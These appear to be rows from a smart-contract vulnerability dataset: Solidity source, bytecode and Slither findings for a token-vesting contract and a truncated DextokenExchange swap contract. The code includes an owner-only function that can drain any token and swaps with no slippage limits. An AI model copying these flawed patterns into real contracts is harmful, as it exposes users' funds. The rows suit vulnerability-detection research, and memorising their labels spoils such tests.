if(day2.add(Invites[j].receivedDay)>=Invites[j].day){
currentAmount=(Invites[j].day.sub(Invites[j].receivedDay)).mul(dayAmount2);
Invites[j].end=1;
}else{
currentAmount=(day2.sub(Invites[j].receivedDay)).mul(dayAmount2);
Invites[j].receivedDay=day2;
}
unlockAmount=unlockAmount.add(currentAmount);
}
IERC20 fodToken =IERC20(fod);
fodToken.transfer(msg.sender,unlockAmount);
emit GetFod(msg.sender,unlockAmount);
}
function withdrawToken (address _tokenAddress,address _user,uint256 _tokenAmount)public onlyOwner returns (bool) {
IERC20 token =IERC20(_tokenAddress);
token.transfer(_user,_tokenAmount);
return true;
}
function changeFounder(address newFounder) public onlyOwner{
if (msg.sender!=founder) revert();
founder = newFounder;
}
modifier onlyOwner() {
require(msg.sender == founder);
_;
}
}
|
0x6080604052600436106101505763ffffffff60e060020a60003504166301e3366781146101555780631411dab0146101935780631fe199e8146101ab578063204d4ab3146101de57806322204534146101f55780632489715a1461021657806326bad593146102375780632d67351e1461024f5780633647ae381461026757806340504b3e146102825780634d853ee51461029d57806355a3c503146102ce5780635b323e43146102ef5780635d6f2984146103045780636999ac93146103255780636eb86d6e1461033a57806371909d321461037857806373cc7c7d1461039a5780637a05852214610405578063857f6f7e1461041a5780638baaca6f1461043b5780638ced640b14610453578063921b116d1461046e57806393c32e061461048f5780639404d27a146104b057806396b7c5101461052f578063c0a8a93f14610551578063ca34e3c614610572575b600080fd5b34801561016157600080fd5b5061017f600160a060020a0360043581169060243516604435610594565b604080519115158252519081900360200190f35b34801561019f57600080fd5b5061017f60043561063f565b3480156101b757600080fd5b506101cc600160a060020a0360043516610662565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101f3610927565b005b34801561020157600080fd5b506101cc600160a060020a0360043516610ed8565b34801561022257600080fd5b506101cc600160a060020a0360043516611092565b34801561024357600080fd5b506101cc6004356110ff565b34801561025b57600080fd5b5061017f600435611111565b34801561027357600080fd5b5061017f600435602435611134565b34801561028e57600080fd5b5061017f600435602435611164565b3480156102a957600080fd5b506102b2611194565b60408051600160a060020a039092168252519081900360200190f35b3480156102da57600080fd5b506101cc600160a060020a03600435166111a3565b3480156102fb57600080fd5b506101cc611226565b34801561031057600080fd5b506101cc600160a060020a036004351661122c565b34801561033157600080fd5b506101cc611266565b34801561034657600080fd5b5061035b600160a060020a036004351661126c565b60408051600160e060020a03199092168252519081900360200190f35b34801561038457600080fd5b5061017f600160e060020a031960043516611284565b3480156103a657600080fd5b506103be600160a060020a0360043516602435611394565b60408051998a5260208a0198909852888801969096526060880194909452608087019290925260a086015260c085015260e084015261010083015251908190036101200190f35b34801561041157600080fd5b5061035b6113fe565b34801561042657600080fd5b506101cc600160a060020a0360043516611419565b34801561044757600080fd5b506101cc600435611434565b34801561045f57600080fd5b506101f3600435602435611446565b34801561047a57600080fd5b5061035b600160a060020a0360043516611897565b34801561049b57600080fd5b506101f3600160a060020a03600435166118ef565b3480156104bc57600080fd5b506104d5600160e060020a03196004351660243561194c565b60408051600160a060020a03909b168b5260208b0199909952898901979097526060890195909552608088019390935260a087019190915260c086015260e085015261010084015261012083015251908190036101400190f35b34801561053b57600080fd5b506101cc600160e060020a0319600435166119c5565b34801561055d57600080fd5b506101cc600160a060020a03600435166119d7565b34801561057e57600080fd5b506102b2600160e060020a031960043516611d96565b6003546000908190600160a060020a031633146105b057600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151869283169163a9059cbb91604480830192600092919082900301818387803b15801561061c57600080fd5b505af1158015610630573d6000803e3d6000fd5b50600198975050505050505050565b600354600090600160a060020a0316331461065957600080fd5b50600190815590565b600160a060020a0381166000908152600a60205260408120819081908180805b835483101561091b57838381548110151561069957fe5b906000526020600020906009020160080154600114156106b857610910565b6106fc6000546106f086868154811015156106cf57fe5b90600052602060002090600902016005015442611db190919063ffffffff16565b9063ffffffff611dfa16565b915061074f848481548110151561070f57fe5b906000526020600020906009020160000154858581548110151561072f57fe5b906000526020600020906009020160020154611dfa90919063ffffffff16565b9050838381548110151561075f57fe5b9060005260206000209060090201600601544211156108c457838381548110151561078657fe5b9060005260206000209060090201600001546107ca85858154811015156107a957fe5b90600052602060002090600902016007015484611e3c90919063ffffffff16565b106108635761085c84848154811015156107e057fe5b90600052602060002090600902016001015461085083610844888881548110151561080757fe5b906000526020600020906009020160070154898981548110151561082757fe5b60009182526020909120600990910201549063ffffffff611db116565b9063ffffffff611ea416565b9063ffffffff611e3c16565b94506108bf565b6108bc848481548110151561087457fe5b90600052602060002090600902016001015461085083610844888881548110151561089b57fe5b90600052602060002090600902016007015487611db190919063ffffffff16565b94505b6108fd565b6108fa8161084486868154811015156108d957fe5b90600052602060002090600902016007015485611db190919063ffffffff16565b94505b61090d868663ffffffff611e3c16565b95505b600190920191610682565b50939695505050505050565b336000908152600a6020526040812081908180808080808080805b8954891015610ba257898981548110151561095957fe5b9060005260206000209060090201600801546001141561097857610b97565b61098f6000546106f08c8c8154811015156106cf57fe5b97506109c28a8a8154811015156109a257fe5b9060005260206000209060090201600001548b8b81548110151561072f57fe5b965089898154811015156109d257fe5b906000526020600020906009020160060154421115610b275789898154811015156109f957fe5b906000526020600020906009020160000154610a3d8b8b815481101515610a1c57fe5b9060005260206000209060090201600701548a611e3c90919063ffffffff16565b10610aa157610a9a8a8a815481101515610a5357fe5b906000526020600020906009020160010154610850896108448e8e815481101515610a7a57fe5b9060005260206000209060090201600701548f8f81548110151561082757fe5b9a50610afd565b610afa8a8a815481101515610ab257fe5b906000526020600020906009020160010154610850896108448e8e815481101515610ad957fe5b9060005260206000209060090201600701548d611db190919063ffffffff16565b9a505b60018a8a815481101515610b0d57fe5b906000526020600020906009020160080181905550610b84565b610b5d876108448c8c815481101515610b3c57fe5b9060005260206000209060090201600701548b611db190919063ffffffff16565b9a50878a8a815481101515610b6e57fe5b9060005260206000209060090201600701819055505b610b948c8c63ffffffff611e3c16565b9b505b600190980197610942565b60408051606060020a330281528151908190036014019020600160e060020a0319811660009081526006602052918220909750955093505b8454841015610df0578484815481101515610bf157fe5b90600052602060002090600a02016009015460011415610c1057610de5565b610c486000546106f08787815481101515610c2757fe5b90600052602060002090600a02016006015442611db190919063ffffffff16565b9250610c9b8585815481101515610c5b57fe5b90600052602060002090600a0201600501548686815481101515610c7b57fe5b90600052602060002090600a020160020154611dfa90919063ffffffff16565b91508484815481101515610cab57fe5b90600052602060002090600a020160050154610cef8686815481101515610cce57fe5b90600052602060002090600a02016008015485611e3c90919063ffffffff16565b10610d7557610d49826108448787815481101515610d0957fe5b90600052602060002090600a0201600801548888815481101515610d2957fe5b90600052602060002090600a020160050154611db190919063ffffffff16565b9a5060018585815481101515610d5b57fe5b90600052602060002090600a020160090181905550610dd2565b610dab826108448787815481101515610d8a57fe5b90600052602060002090600a02016008015486611db190919063ffffffff16565b9a50828585815481101515610dbc57fe5b90600052602060002090600a0201600801819055505b610de28c8c63ffffffff611e3c16565b9b505b600190930192610bda565b5060048054604080517fa9059cbb0000000000000000000000000000000000000000000000000000000081523393810193909352602483018e905251600160a060020a0390911691829163a9059cbb9160448082019260009290919082900301818387803b158015610e6157600080fd5b505af1158015610e75573d6000803e3d6000fd5b505050507f5b71b3f499bebefe956a888c590dec1aa17374d642aad2496659082840c19641338d6040518083600160a060020a0316600160a060020a031681526020018281526020019250505060405180910390a1505050505050505050505050565b60408051606060020a600160a060020a0384160281528151908190036014019020600160e060020a0319811660009081526006602052918220829182918280805b8354831015611085578383815481101515610f3057fe5b90600052602060002090600a02016009015460011415610f4f5761107a565b610f666000546106f08686815481101515610c2757fe5b9150610f998484815481101515610f7957fe5b90600052602060002090600a0201600501548585815481101515610c7b57fe5b90508383815481101515610fa957fe5b90600052602060002090600a020160050154610fed8585815481101515610fcc57fe5b90600052602060002090600a02016008015484611e3c90919063ffffffff16565b1061102e5761102781610844868681548110151561100757fe5b90600052602060002090600a0201600801548787815481101515610d2957fe5b9550611067565b61106481610844868681548110151561104357fe5b90600052602060002090600a02016008015485611db190919063ffffffff16565b95505b611077878763ffffffff611e3c16565b96505b600190920191610f19565b5094979650505050505050565b600160a060020a0381166000908152600a6020526040812081908190815b81548110156110f5576110eb82828154811015156110ca57fe5b90600052602060002090600902016001015485611e3c90919063ffffffff16565b93506001016110b0565b5091949350505050565b600b6020526000908152604090205481565b600354600090600160a060020a0316331461112b57600080fd5b50600255600190565b600354600090600160a060020a0316331461114e57600080fd5b506000918252600c602052604090912055600190565b600354600090600160a060020a0316331461117e57600080fd5b506000918252600b602052604090912055600190565b600354600160a060020a031681565b60408051606060020a600160a060020a0384160281528151908190036014019020600160e060020a0319811660009081526006602052918220829190825b81548110156110f55761121c82828154811015156111fb57fe5b90600052602060002090600a02016002015485611e3c90919063ffffffff16565b93506001016111e1565b60025481565b60408051606060020a330281528151908190036014019020600160e060020a03198116600090815260066020529190912054905b50919050565b60015481565b60076020526000908152604090205460e060020a0281565b33600090815260076020526040812054819060e060020a02600160e060020a031916156112b057600080fd5b600160e060020a03198316600090815260086020526040902054600160a060020a031615156112de57600080fd5b5060408051606060020a330281529051908190036014019020600160e060020a0319838116908216141561131157600080fd5b336000818152600760209081526040808320805463ffffffff191660e060020a8904179055600160e060020a0319871680845260098352928190208054600101905580519384529083019190915280517faa8b860c0835c14d8bbfff3f6485f0d24dec1b24d11c8f0b789ee985128719ec9281900390910190a150600192915050565b600a602052816000526040600020818154811015156113af57fe5b9060005260206000209060090201600091509150508060000154908060010154908060020154908060030154908060040154908060050154908060060154908060070154908060080154905089565b60408051606060020a33028152905190819003601401902090565b600160a060020a03166000908152600a602052604090205490565b600c6020526000908152604090205481565b60008060008061145461204c565b61145c612099565b336000908152600760205260409020546064965060e060020a02600160e060020a0319161561148b5760015495505b60048054604080517f23b872dd0000000000000000000000000000000000000000000000000000000081523393810193909352306024840152604483018b905251600160a060020a03909116965086916323b872dd91606480830192600092919082900301818387803b15801561150157600080fd5b505af1158015611515573d6000803e3d6000fd5b5050600080548a8252600c60205260409091205461154c935061153f92509063ffffffff611ea416565b429063ffffffff611e3c16565b6000888152600c6020908152604080832054600b90925290912054919550611589916237b1d0916106f09161084490818e8d63ffffffff611ea416565b604080516101208101825260008a8152600c60209081528382205483528083018d81528385018681528d8452600b83528584205460608601908152608086018e81524260a0880190815260c088018e815260e089018881526101008a0189815233808b52600a8a528c8b20805460018082018355918d528b8d208e516009909202019081559951908a015596516002890155945160038801559251600487015590516005860155516006850155516007808501919091559051600890930192909255835290529190912054919450925060e060020a02600160e060020a031916156117c3576101406040519081016040528033600160a060020a031681526020018981526020016116aa60646106f060025488611ea490919063ffffffff16565b81526000898152600b6020908152604080832054828501528084018b90528b8352600c8252808320546060808601919091524260808087019190915260a08087018c905260c080880187905260e097880187905233875260078087528588205460e060020a02600160e060020a03191688526006808852868920805460018082018355918b52998990208c51600a909b0201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909b169a909a178a55978b0151978901979097559489015160028801559288015160038701559087015160048601558601516005850155850151918301919091559183015191810191909155610100820151600882015561012082015160099091015590505b60408051606060020a330281528151908190036014019020600160e060020a031916600090815260086020522054600160a060020a031615156118525760408051606060020a339081028252825191829003601401909120600160e060020a0319166000908152600860205291909120805473ffffffffffffffffffffffffffffffffffffffff191690911790555b60408051338152602081018a905281517f619d2bb515ba4fc1fe3c3a7207e3f9cf1c331dfed062fa01db459875a3b2dae7929181900390910190a15050505050505050565b60408051606060020a600160a060020a03808516919091028252825191829003601401909120600160e060020a031981166000908152600860205292832054909116156118e657809150611260565b60009150611260565b600354600160a060020a0316331461190657600080fd5b600354600160a060020a0316331461191d57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60066020528160005260406000208181548110151561196757fe5b60009182526020909120600a90910201805460018201546002830154600384015460048501546005860154600687015460078801546008890154600990990154600160a060020a039098169a5095985093969295919490939290918a565b60096020526000908152604090205481565b600160a060020a0381166000908152600a602052604081208190819081808080808080805b8854881015611c13578888815481101515611a1357fe5b90600052602060002090600902016008015460011415611a3257611c08565b611a496000546106f08b8b8154811015156106cf57fe5b9650611a7c8989815481101515611a5c57fe5b9060005260206000209060090201600001548a8a81548110151561072f57fe5b95508888815481101515611a8c57fe5b906000526020600020906009020160060154421115611bbc578888815481101515611ab357fe5b906000526020600020906009020160000154611af78a8a815481101515611ad657fe5b90600052602060002090600902016007015489611e3c90919063ffffffff16565b10611b5b57611b548989815481101515611b0d57fe5b906000526020600020906009020160010154610850886108448d8d815481101515611b3457fe5b9060005260206000209060090201600701548e8e81548110151561082757fe5b9950611bb7565b611bb48989815481101515611b6c57fe5b906000526020600020906009020160010154610850886108448d8d815481101515611b9357fe5b9060005260206000209060090201600701548c611db190919063ffffffff16565b99505b611bf5565b611bf2866108448b8b815481101515611bd157fe5b9060005260206000209060090201600701548a611db190919063ffffffff16565b99505b611c058b8b63ffffffff611e3c16565b9a505b6001909701966119fc565b8c6040518082600160a060020a0316600160a060020a0316606060020a0281526014019150506040518091039020945060066000867bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019081526020016000209350600092505b8354831015611d85578383815481101515611cb257fe5b90600052602060002090600a02016009015460011415611cd157611d7a565b611ce86000546106f08686815481101515610c2757fe5b9150611cfb8484815481101515610f7957fe5b90508383815481101515611d0b57fe5b90600052602060002090600a020160050154611d2e8585815481101515610fcc57fe5b10611d4f57611d4881610844868681548110151561100757fe5b9950611d67565b611d6481610844868681548110151561104357fe5b99505b611d778b8b63ffffffff611e3c16565b9a505b600190920191611c9b565b50989b9a5050505050505050505050565b600860205260009081526040902054600160a060020a031681565b6000611df383836040805190810160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f43565b9392505050565b6000611df383836040805190810160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fe0565b600082820183811015611e99576040805160e560020a62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b8091505b5092915050565b600080831515611eb75760009150611e9d565b50828202828482811515611ec757fe5b0414611e99576040805160e560020a62461bcd02815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f7700000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000808285851115611fd65760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f9b578181015183820152602001611f83565b50505050905090810190601f168015611fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5050509103919050565b600080828185116120365760405160e560020a62461bcd02815260040180806020018281038252838181518152602001915080519060200190808383600083811015611f9b578181015183820152602001611f83565b50838581151561204257fe5b0495945050505050565b610120604051908101604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b610140604051908101604052806000600160a060020a0316815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815250905600a165627a7a723058204f03b490f94c51d262d864b6bd5c87436206fa67b40118d50cb48780f7d6b4fb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,414 |
0xba209a44a32fffd28993af8f58de2caa3a4fbb83
|
// SPDX-License-Identifier: LGPL-3.0-or-later
pragma solidity 0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IDextokenPool {
event TokenDeposit(
address indexed token,
address indexed account,
uint amount,
uint spotPrice
);
event TokenWithdraw(
address indexed token,
address indexed account,
uint amount,
uint spotPrice
);
event SwapExactETHForTokens(
address indexed poolOut,
uint amountOut,
uint amountIn,
uint spotPrice,
address indexed account
);
event SwapExactTokensForETH(
address indexed poolOut,
uint amountOut,
uint amountIn,
uint spotPrice,
address indexed account
);
/// Speculative AMM
function initialize(address _token0, address _token1, uint _Ct, uint _Pt) external;
function updateAMM() external returns (uint, uint);
function mean() external view returns (uint);
function getLastUpdateTime() external view returns (uint);
function getCirculatingSupply() external view returns (uint);
function getUserbase() external view returns (uint);
function getPrice() external view returns (uint);
function getSpotPrice(uint _Ct, uint _Nt) external pure returns (uint);
function getToken() external view returns (address);
/// Pool Management
function getPoolBalance() external view returns (uint);
function getTotalLiquidity() external view returns (uint);
function liquidityOf(address account) external view returns (uint);
function liquiditySharesOf(address account) external view returns (uint);
function liquidityTokenToAmount(uint token) external view returns (uint);
function liquidityFromAmount(uint amount) external view returns (uint);
function deposit(uint amount) external;
function withdraw(uint tokens) external;
/// Trading
function swapExactETHForTokens(
uint amountIn,
uint minAmountOut,
uint maxPrice,
uint deadline
) external returns (uint);
function swapExactTokensForETH(
uint amountIn,
uint minAmountOut,
uint minPrice,
uint deadline
) external returns (uint);
}
interface IDextokenExchange {
event SwapExactAmountOut(
address indexed poolIn,
uint amountSwapIn,
address indexed poolOut,
uint exactAmountOut,
address indexed to
);
event SwapExactAmountIn(
address indexed poolIn,
uint amountSwapIn,
address indexed poolOut,
uint exactAmountOut,
address indexed to
);
function swapMaxAmountOut(
address poolIn,
address poolOut,
uint maxAmountOut,
uint deadline
) external;
function swapExactAmountIn(
address poolIn,
address poolOut,
uint exactAmountIn,
uint deadline
) external;
}
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
contract DextokenExchange is IDextokenExchange, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeMath for uint;
uint constant MAX = uint(-1);
address public owner;
IERC20 public WETH;
constructor(address _token0) public {
owner = msg.sender;
WETH = IERC20(_token0);
}
function swapMaxAmountOut(
address poolIn,
address poolOut,
uint maxAmountOut,
uint deadline
)
external
nonReentrant
{
require(poolIn != address(0), "exchange: Invalid token address");
require(poolOut != address(0), "exchange: Invalid token address");
require(maxAmountOut > 0, "exchange: Invalid maxAmountOut");
IERC20 poolInToken = IERC20(IDextokenPool(poolIn).getToken());
IERC20 poolOutToken = IERC20(IDextokenPool(poolOut).getToken());
IERC20 _WETH = WETH;
/// calculate the pair price
uint closingPrice;
{
uint priceIn = IDextokenPool(poolIn).getPrice();
uint priceOut = IDextokenPool(poolOut).getPrice();
closingPrice = priceOut.mul(1e18).div(priceIn);
}
/// evalucate the swap in amount
uint amountSwapIn = maxAmountOut.mul(closingPrice).div(1e18);
require(amountSwapIn >= 1e2, "exchange: invalid amountSwapIn");
/// transfer tokens in
poolInToken.safeTransferFrom(msg.sender, address(this), amountSwapIn);
require(poolInToken.balanceOf(address(this)) >= amountSwapIn, "exchange: Invalid token balance");
if (poolInToken.allowance(address(this), poolIn) < amountSwapIn) {
poolInToken.approve(poolIn, MAX);
}
IDextokenPool(poolIn).swapExactTokensForETH(
amountSwapIn,
0,
0,
deadline
);
uint balanceETH = _WETH.balanceOf(address(this));
uint spotPriceOut = IDextokenPool(poolOut).getSpotPrice(
IDextokenPool(poolOut).getCirculatingSupply(),
IDextokenPool(poolOut).getUserbase().add(balanceETH)
);
uint minAmountOut = balanceETH.mul(1e18).div(spotPriceOut);
/// swap ETH for tokens
if (_WETH.allowance(address(this), poolOut) < balanceETH) {
_WETH.approve(poolOut, MAX);
}
IDextokenPool(poolOut).swapExactETHForTokens(
balanceETH,
minAmountOut,
spotPriceOut,
deadline
);
/// transfer all tokens
uint exactAmountOut = poolOutToken.balanceOf(address(this));
require(exactAmountOut <= maxAmountOut, "exchange: Exceed maxAmountOut");
poolOutToken.safeTransfer(msg.sender, exactAmountOut);
emit SwapExactAmountOut(poolIn, amountSwapIn, poolOut, exactAmountOut, msg.sender);
}
function swapExactAmountIn(
address poolIn,
address poolOut,
uint exactAmountIn,
uint deadline
)
external
nonReentrant
{
require(poolIn != address(0), "exchange: Invalid token address");
require(poolOut != address(0), "exchange: Invalid token address");
require(exactAmountIn > 0, "exchange: Invalid exactAmountIn");
IERC20 poolInToken = IERC20(IDextokenPool(poolIn).getToken());
IERC20 poolOutToken = IERC20(IDextokenPool(poolOut).getToken());
IERC20 _WETH = WETH;
/// transfer tokens in
poolInToken.safeTransferFrom(msg.sender, address(this), exactAmountIn);
require(poolInToken.balanceOf(address(this)) >= exactAmountIn, "exchange: Invalid token balance");
if (poolInToken.allowance(address(this), poolIn) < exactAmountIn) {
poolInToken.approve(address(poolIn), MAX);
}
uint balanceETH = IDextokenPool(poolIn).swapExactTokensForETH(
exactAmountIn,
0,
0,
deadline
);
if (_WETH.allowance(address(this), poolOut) < balanceETH) {
_WETH.approve(address(poolOut), MAX);
}
uint exactAmountOut = IDextokenPool(poolOut).swapExactETHForTokens(
balanceETH,
0,
MAX,
deadline
);
/// transfer all tokens
poolOutToken.safeTransfer(msg.sender, exactAmountOut);
emit SwapExactAmountIn(poolIn, exactAmountIn, poolOut, exactAmountOut, msg.sender);
}
}
|
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806383f68704146100515780638da5cb5b1461008f578063ad5c4648146100b3578063bd4ed162146100bb575b600080fd5b61008d6004803603608081101561006757600080fd5b506001600160a01b038135811691602081013590911690604081013590606001356100f7565b005b6100976107ac565b604080516001600160a01b039092168252519081900360200190f35b6100976107bb565b61008d600480360360808110156100d157600080fd5b506001600160a01b038135811691602081013590911690604081013590606001356107ca565b60008054600101908190556001600160a01b03851661014b576040805162461bcd60e51b815260206004820152601f6024820152600080516020611717833981519152604482015290519081900360640190fd5b6001600160a01b038416610194576040805162461bcd60e51b815260206004820152601f6024820152600080516020611717833981519152604482015290519081900360640190fd5b600083116101e9576040805162461bcd60e51b815260206004820152601f60248201527f65786368616e67653a20496e76616c6964206578616374416d6f756e74496e00604482015290519081900360640190fd5b6000856001600160a01b03166321df0da76040518163ffffffff1660e01b815260040160206040518083038186803b15801561022457600080fd5b505afa158015610238573d6000803e3d6000fd5b505050506040513d602081101561024e57600080fd5b5051604080516321df0da760e01b815290519192506000916001600160a01b038816916321df0da7916004808301926020929190829003018186803b15801561029657600080fd5b505afa1580156102aa573d6000803e3d6000fd5b505050506040513d60208110156102c057600080fd5b50516002549091506001600160a01b03908116906102e890841633308963ffffffff6112cb16565b604080516370a0823160e01b8152306004820152905187916001600160a01b038616916370a0823191602480820192602092909190829003018186803b15801561033157600080fd5b505afa158015610345573d6000803e3d6000fd5b505050506040513d602081101561035b57600080fd5b505110156103b0576040805162461bcd60e51b815260206004820152601f60248201527f65786368616e67653a20496e76616c696420746f6b656e2062616c616e636500604482015290519081900360640190fd5b60408051636eb1769f60e11b81523060048201526001600160a01b038a811660248301529151889286169163dd62ed3e916044808301926020929190829003018186803b15801561040057600080fd5b505afa158015610414573d6000803e3d6000fd5b505050506040513d602081101561042a57600080fd5b505110156104b3576040805163095ea7b360e01b81526001600160a01b038a81166004830152600019602483015291519185169163095ea7b3916044808201926020929091908290030181600087803b15801561048657600080fd5b505af115801561049a573d6000803e3d6000fd5b505050506040513d60208110156104b057600080fd5b50505b604080516276633d60e61b815260048101889052600060248201819052604482018190526064820188905291516001600160a01b038b1691631d98cf4091608480830192602092919082900301818787803b15801561051157600080fd5b505af1158015610525573d6000803e3d6000fd5b505050506040513d602081101561053b57600080fd5b505160408051636eb1769f60e11b81523060048201526001600160a01b038b81166024830152915192935083929185169163dd62ed3e91604480820192602092909190829003018186803b15801561059257600080fd5b505afa1580156105a6573d6000803e3d6000fd5b505050506040513d60208110156105bc57600080fd5b50511015610645576040805163095ea7b360e01b81526001600160a01b038a81166004830152600019602483015291519184169163095ea7b3916044808201926020929091908290030181600087803b15801561061857600080fd5b505af115801561062c573d6000803e3d6000fd5b505050506040513d602081101561064257600080fd5b50505b60408051631bb6232160e11b81526004810183905260006024820181905260001960448301526064820189905291516001600160a01b038b169163376c464291608480830192602092919082900301818787803b1580156106a557600080fd5b505af11580156106b9573d6000803e3d6000fd5b505050506040513d60208110156106cf57600080fd5b505190506106ed6001600160a01b038516338363ffffffff61132b16565b336001600160a01b0316896001600160a01b03168b6001600160a01b03167f2ea75166fce386f87bdf25933577400a7ddb070f49031a2dd76b84418415d13b8b85604051808381526020018281526020019250505060405180910390a4505050505060005481146107a5576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b5050505050565b6001546001600160a01b031681565b6002546001600160a01b031681565b60008054600101908190556001600160a01b03851661081e576040805162461bcd60e51b815260206004820152601f6024820152600080516020611717833981519152604482015290519081900360640190fd5b6001600160a01b038416610867576040805162461bcd60e51b815260206004820152601f6024820152600080516020611717833981519152604482015290519081900360640190fd5b600083116108bc576040805162461bcd60e51b815260206004820152601e60248201527f65786368616e67653a20496e76616c6964206d6178416d6f756e744f75740000604482015290519081900360640190fd5b6000856001600160a01b03166321df0da76040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f757600080fd5b505afa15801561090b573d6000803e3d6000fd5b505050506040513d602081101561092157600080fd5b5051604080516321df0da760e01b815290519192506000916001600160a01b038816916321df0da7916004808301926020929190829003018186803b15801561096957600080fd5b505afa15801561097d573d6000803e3d6000fd5b505050506040513d602081101561099357600080fd5b505160025460408051634c6afee560e11b815290519293506001600160a01b03918216926000928392908c16916398d5fdca91600480820192602092909190829003018186803b1580156109e657600080fd5b505afa1580156109fa573d6000803e3d6000fd5b505050506040513d6020811015610a1057600080fd5b505160408051634c6afee560e11b815290519192506000916001600160a01b038c16916398d5fdca916004808301926020929190829003018186803b158015610a5857600080fd5b505afa158015610a6c573d6000803e3d6000fd5b505050506040513d6020811015610a8257600080fd5b50519050610aae82610aa283670de0b6b3a764000063ffffffff61138216565b9063ffffffff6113e416565b925060009150610ad29050670de0b6b3a7640000610aa28a8563ffffffff61138216565b90506064811015610b2a576040805162461bcd60e51b815260206004820152601e60248201527f65786368616e67653a20696e76616c696420616d6f756e7453776170496e0000604482015290519081900360640190fd5b610b456001600160a01b03861633308463ffffffff6112cb16565b604080516370a0823160e01b8152306004820152905182916001600160a01b038816916370a0823191602480820192602092909190829003018186803b158015610b8e57600080fd5b505afa158015610ba2573d6000803e3d6000fd5b505050506040513d6020811015610bb857600080fd5b50511015610c0d576040805162461bcd60e51b815260206004820152601f60248201527f65786368616e67653a20496e76616c696420746f6b656e2062616c616e636500604482015290519081900360640190fd5b60408051636eb1